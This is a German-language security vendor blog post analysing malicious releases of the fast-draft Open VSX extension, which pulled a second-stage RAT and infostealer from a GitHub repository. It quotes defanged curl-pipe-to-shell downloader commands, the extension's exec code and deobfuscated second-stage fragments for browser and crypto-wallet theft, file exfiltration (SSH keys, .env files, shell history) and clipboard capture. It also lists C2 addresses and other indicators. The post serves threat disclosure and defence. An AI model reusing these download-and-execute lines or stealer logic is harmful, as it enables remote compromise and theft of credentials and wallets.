Aikido

fast-draft Open VSX Extension durch BlokTrooper kompromittiert

Verfasst von
Raphael Silva

Der KhangNghiem/fast-draft Extension, gelistet auf open-vsx.org/extension/KhangNghiem/fast-draft und jetzt über 26.000 Downloads verzeichnet, hatte mehrere bösartige Releases, die einen auf GitHub gehosteten Downloader ausführen und einen Second-Stage RAT und Infostealer aus dem BlokTrooper/extension Repository ziehen. Die bestätigten bösartigen Releases in der von uns überprüften Versionslinie sind 0.10.89, 0.10.105, 0.10.106, und 0.10.112.

Ungewöhnlich an diesem Fall ist, dass die bösartigen Releases nicht durchgängig sind. Versionen bis 0.10.88 erscheinen sauber. 0.10.111 erscheint ebenfalls sauber, obwohl sie zwischen bösartigen Versionen liegt, und das neueste Open VSX Release vom 17.03.2026, 0.10.135, enthält ebenfalls nicht denselben Loader. Dieses wechselnde Muster lässt sich schwer mit einem Maintainer vereinbaren, der absichtlich Malware ausliefert. Die bessere Erklärung ist ein kompromittierter Publisher oder ein gestohlenes Token.

Stand 17.03.2026, der Open VSX API-Eintrag unter open-vsx.org/api/KhangNghiem/fast-draft listet 0.10.135 als neueste Version und meldet insgesamt 26.594 Downloads für die Extension. Wir haben das Problem dem Maintainer am 12.03.2026 über ein GitHub-Issue gemeldet. github.com/khangnghiem/fast-draft/issues/565, die zum Zeitpunkt des Schreibens noch offen und ohne Kommentare war.

Was geschah

Ein Blick auf die Versionshistorie in chronologischer Reihenfolge erzählt die Geschichte:

  • 0.10.88: Sauber aussehend. Kein bekannter Downloader-Pfad.
  • 0.10.89: Bösartig. Führt einen auf GitHub gehosteten Shell-Downloader in der Editor-Initialisierung ein.
  • 0.10.105: Bösartig. Verschiebt den Loader zur Startaktivierung und fügt eine einmalige Schutzvorrichtung hinzu.
  • 0.10.106: Bösartig. Derselbe Startup-Loader, aber die Schutzvorrichtung ist entfernt.
  • 0.10.111: Sauber aussehend. Bekannter Downloader-Pfad verschwindet.
  • 0.10.112: Bösartig. Startup-Downloader kehrt zurück.
  • 0.10.129-135: Sauber aussehend. Neueste überprüfte Versionen, bekannter Downloader fehlt.

Das ist nicht das Release-Muster, das man von einem einzelnen kompromittierten Build oder einem Maintainer erwartet, der vollständig zu bösartigem Verhalten übergegangen ist. Es sieht eher nach zwei konkurrierenden Release-Streams aus, die dieselbe Publisher-Identität teilen.

Wie der Angriff funktionierte

Die bösartigen Versionen nutzen alle denselben grundlegenden Trick: Die Erweiterung kontaktiert raw[.]githubusercontent[.]com/BlokTrooper/extension und leitet die Antwort direkt in eine Shell.

In 0.10.89, ruft die Erweiterung plattformspezifische Skripte aus dem `scripts/`-Verzeichnis des Repositorys ab:

curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmd

In 0.10.105, 0.10.106, und 0.10.112, ist dieselbe Idee als ein icons/${platform} Fetch verpackt und an die Erweiterungsaktivierung gebunden, wahrscheinlich auch, um eine Erkennung zu umgehen.

Diese Plattformskripte laden dann ZIP-Archive herunter, entpacken sie in ein temporäres Verzeichnis und führen ein gebündeltes Node-Binary gegen eine verschleierte temporäre Payload aus. Wir haben diese Payload bereits in einer separaten Analyse zerlegt. Es handelt sich nicht um einen harmlosen Test-Stub. Sie implementiert vier parallele Module:

  • Ein Socket.IO RAT mit Maus-, Tastatur-, Screenshot- und Zwischenablage-Steuerung
  • Ein Browser- und Wallet-Stealer, der auf gespeicherte Passwörter, Web Data und 25 Krypto-Wallet-Erweiterungen abzielt
  • Ein Datei-Exfiltrationsmodul, das Dokumente, Schlüssel, Konfigurationen, Quellcode und Secrets rekursiv hochlädt
  • Ein Zwischenablage-Monitor, der kopierte Inhalte an den C2 zurücksendet

Die Infrastruktur ist dieselbe BlokTrooper-/Erweiterungskette, die wir zuvor deobfuskiert haben, wobei die Konfigurationswerte sich auflösen zu 195[.]201[.]104[.]53, und aktive Ports 6931, 6936, und 6939.

Der eindeutige Beweis

Der bösartige 0.10.112 Build stellt die Startaktivierung und den rohen GitHub-Downloader wieder her:

const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...

Der letzte überprüfte saubere Build, 0.10.135, zeigt nicht denselben Pfad. Seine Aktivierungslogik registriert den Editor-Provider und andere Erweiterungsmechanismen, aber der BlokTrooper-Downloader fehlt.

Dieser Unterschied ist wichtiger als das generische heuristische Rauschen von statischen Scannern. Dieser Fall erforderte eine manuelle Überprüfung Version für Version, da die sauberen Builds immer noch normale Prozessausführung und AI-Provider-Integrationen bündeln, die für vereinfachte Regeln verdächtig aussehen können.

Was die zweite Stufe tatsächlich tut

Die zweite Stufe ist der Punkt, an dem sich dies von einem verdächtigen Downloader zu einer vollständigen Kompromittierung entwickelt.

Der äußere temp Wrapper rekonstruiert die C2-Adresse aus fest codierten IP-Oktetten, unterdrückt Laufzeitfehler mit process.on('uncaughtException', ()=>{}), und startet vier abgetrennte Node-Child-Prozesse mit node -e. Mit anderen Worten, die Erweiterung zieht nicht nur eine Payload. Sie zieht ein kleines Angriffs-Framework, das sich in separate, gleichzeitig ablaufende Jobs aufteilt.

process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);

Das kommt direkt vom deobfuskierten Wrapper und zeigt, wie der Operator Abstürze verbirgt, während er IP-Strings aus Konfigurationsfeldern neu aufbaut, anstatt sie als Klartext zu speichern.

ab = ...;
M(..., ['-e', ab], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
    windowsHide: true,
    detached: true,
    stdio: ...
});

Dies ist der zentrale Kontrollpunkt der Stufe 2: Ein Launcher-Skript startet vier separate In-Memory-Module und trennt sie ab, damit sie unabhängig im Hintergrund weiterlaufen können.

Modul 1: Remote-Desktop-RAT

Der erste Child-Prozess verbindet sich zurück zu http://195[.]201[.]104[.]53:6931 über Socket.IO und legt einen vollständigen Fernsteuerkanal offen.

Es unterstützt Befehle für:

  • Mausbewegungen, Klicks und Scrollen
  • Tastendrücke und Tastenkombinationen
  • Screenshots mit JPEG-Kompression
  • Lese- und Schreibzugriffe auf die Zwischenablage
  • Abfrage der Bildschirmabmessungen
  • Systemprofiling und Sitzungssteuerung

Die im ZIP gebündelten Abhängigkeiten entsprechen genau diesen Funktionen:

"node_modules/@nut-tree-fork/nut-js": {
    "version": "4.2.6"
}, "node_modules/clipboardy": {
    "version": "5.3.1"
}, "node_modules/screenshot-desktop": {
    "version": "1.15.3"
}, "node_modules/sharp": {
    "version": "0.34.5"
}, "node_modules/socket.io-client": {
    "version": "4.8.3"
}

Für sich genommen reichen Abhängigkeiten nicht aus, um bösartiges Verhalten zu beweisen. In diesem Fall sind sie jedoch relevant, da sie mit dem bereits deobfuskierten Modullayout übereinstimmen: Remote-Tasking über Socket.IO, Desktop-Erfassung, Bildverarbeitung, Zugriff auf die Zwischenablage und vollständige Tastatur- und Mausautomatisierung.

Die Payload prüft auch, ob sie in einer VM läuft, indem sie nach Strings wie vmware, virtualbox, qemu, kvm, und xen in plattformspezifischen Systeminformationen sucht. Sie stoppt nicht, wenn sie eine VM findet. Sie kennzeichnet lediglich den Host und fährt fort. Sie hält auch eine Singleton-PID-Sperre unter ~/.npm/ damit nicht mehrere Instanzen auf derselben Maschine gestapelt werden.

Modul 2: Browser- und Wallet-Diebstahl

Der zweite Child-Prozess durchsucht Browserprofile von Chrome, Edge, Brave, Opera und LT Browser auf macOS, Linux und Windows. Für jedes Profil stiehlt er:

  • Anmeldedaten
  • Anmeldedaten für Konten
  • Webdaten
  • LevelDB-Status aus Wallet-Erweiterungen

Das Wallet-Targeting ist breit angelegt und nicht zufällig. Die fest codierte Liste umfasst unter anderem MetaMask, Phantom, TronLink, Trust Wallet, Coinbase Wallet, OKX, Solflare, Rabby, Keplr, UniSat, Enkrypt, Bitget, SafePal, TON Wallet, Petra, Pontem, Nami, Sender, Slope, Halo und CoinStats. Auf macOS erfasst es auch ~/Library/Keychains/login.keychain.

Die Daten werden unter ~/npm-cache/__tmp__/cldbs/ und hochgeladen an http://195[.]201[.]104[.]53:6936/upload. Nach dem ersten Scan fragt der Stealer etwa alle 100 Sekunden nach neuen LevelDB-Dateien ab, was bedeutet, dass er darauf ausgelegt ist, Änderungen des Wallet-Status im Laufe der Zeit zu erfassen, anstatt nur einen einmaligen „Smash-and-Grab“-Angriff durchzuführen.

Eine frische Dekodierung der Stufe 2 ermöglicht einen klareren Blick auf das Browser-Diebstahl-Modul. Es hardcodiert Wallet-Erweiterungs-IDs und iteriert dann über Browserprofildaten, Login-Datenbanken und den LevelDB-gestützten Erweiterungsstatus:

const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
    const l = g + '/' + j + z(0x248) + k;

Im selben dekodierten Blob lösen sich diese Pfadkonstanten auf zu /Login Data, /Login Data For Account, /Web Data, und /Local Extension Settings/, während der Uploader FormData, fs.createReadStream, /cldbs, und /upload.

const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
    headers: {
        ...f[y(0x239)](),
        path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
    }
});

Modul 3: Dokumenten- und Secret-Diebstahl

Der dritte Child-Prozess scannt rekursiv das Home-Verzeichnis oder unter Windows alle Laufwerke nach sensiblen Dateien. Die Ziel-Pattern umfassen:

  • *.docx, *.xlsx, *.xls, *.csv, *.pdf, *.doc, *.odt, *.rtf
  • *.md, *.txt, *.js, *.ts, *.json, *.ini
  • *.env*, *.pem, *.secret
  • gängige Bildformate

Die Ausschlussliste ist ebenfalls aufschlussreich. Sie überspringt „laute“ Pfade wie node_modules, .git, dist, und build, aber sie überspringt auch explizit Ordner wie .windsurf, .pearai, .claude, .cursor, .brownie, und openzeppelinDas deutet darauf hin, dass der Angreifer nicht nur zufällige Dateien stiehlt. Sie wissen, dass Entwickler-Maschinen, Krypto-Tools und KI-gestützte Entwicklungsumgebungen wertvolle Ziele sind.

Die dekodierten Zeichenketten für den Dateidiebstahl machen explizit deutlich, was gesammelt und was übersprungen wird:

const u = [".github", "*.env*", ".sqlite", "*.csv", „*.pdf“, ".zsh_history", ".ssh", „.pub-cache“, „.vscode“];
"node_modules", ".brownie", "AppData", „*.docx“, „.cursor“, ".claude", „openzeppelin“, „.windsurf“

Dies ist abgestimmt auf Entwickler-Workstations, Quellcode-Bäume, Schlüsselmaterial, Shell-Verlauf und wertvolle lokale Zustände aus modernen Entwicklungsumgebungen.

Modul 4: Überwachung der Zwischenablage

Der vierte Child-Prozess fragt die Zwischenablage alle paar Sekunden ab und wartet, bis sich der Inhalt stabilisiert hat, bevor er ihn an den C2 übermittelt.

  • Unter macOS wird pbpaste
  • Unter Windows wird aufgerufen powershell -NoProfile -NonInteractive Get-Clipboard
  • Unter Linux wird auf clipboardy

Geänderte Inhalte der Zwischenablage werden an /api/service/makelog, was bedeutet, dass kopierte Seed-Phrasen, Passwörter, API-Schlüssel und Wiederherstellungscodes exfiltriert werden können, selbst wenn sie nie auf die Festplatte geschrieben werden.

Der dekodierte String-Blob des Zwischenablage-Moduls ist ungewöhnlich direkt:

"/api/service/makelog","pbpaste","powershell -NoProfile -NonInteractive Get-Clipboard","child_process","http://"

Diese Strings befinden sich zusammen im Stage-2-Zwischenablage-Code und stimmen mit dem früheren Verhalten überein, das wir während der Deobfuskation beobachtet haben: plattformspezifische Zwischenablage-Erfassung, gefolgt von der Übermittlung an die Operator-Logging-Route.

Die Relevanz der sauberen Versionen

Die sauberen Versionen sind es, die diesen Fall als wahrscheinlichen Publisher-Kompromiss untersuchenswert machen, anstatt nur als „eine Erweiterung ist außer Kontrolle geraten“.

Wir haben manuell geprüft 0.10.88, 0.10.111, und 0.10.129-135 auf die konkreten Indikatoren, die in den bösartigen Builds vorhanden sind:

  • raw[.]githubusercontent[.].com/BlokTrooper
  • der fd.onlyOncePlease-Guard, der vom Startup-Loader verwendet wird
  • socket.io-client
  • /upload
  • /cldbs
  • pbpaste
  • Get-Clipboard

Diese bekannten Indikatoren fehlten in den sauber aussehenden Versionen, und ihr Aktivierungsfluss sah nach einer normalen Erweiterungsregistrierung und nicht nach einem Downloader aus. Das ist besonders wichtig für 0.10.111, die direkt zwischen bösartigen 0.10.106 und 0.10.112, 0.10.135, die derzeit die neueste Open VSX-Veröffentlichung ist.

Wenn der Maintainer die Malware wissentlich verbreiten würde, bliebe die Versionshistorie wahrscheinlich bösartig, bis sie entdeckt oder bereinigt wird. Stattdessen sehen wir, wie bösartige Releases kommen und gehen, während das öffentliche Problem unbeantwortet bleibt. Das ist konsistent mit gestohlenem Veröffentlichungszugriff oder einer anderen Kompromittierung des Release-Pfads.

Kompromittierungsindikatoren

  • Erweiterungs-ID: KhangNghiem.fast-draft
  • Bösartige Versionen: 0.10.89, 0.10.105, 0.10.106, 0.10.112
  • Stage-1-Host: raw[.]githubusercontent[.].com/BlokTrooper/extension
  • C2-IP: 195[.]201[.]104[.]53
  • Ports: 6931, 6936, 6939
  • Exfiltrationsrouten: /upload, /cldbs, /api/service/makelog

Teilen:

https://www.aikido.dev/blog/fast-draft-open-vsx-bloktrooper

Heute kostenlos starten.

Kostenlos starten
Ohne Kreditkarte

Abonnieren Sie Bedrohungs-News.

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten
Prüfen Sie, ob Sie gefährdet sind

Scannen Sie Ihre Abhängigkeiten nach bösartigen Paketen

Jetzt starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.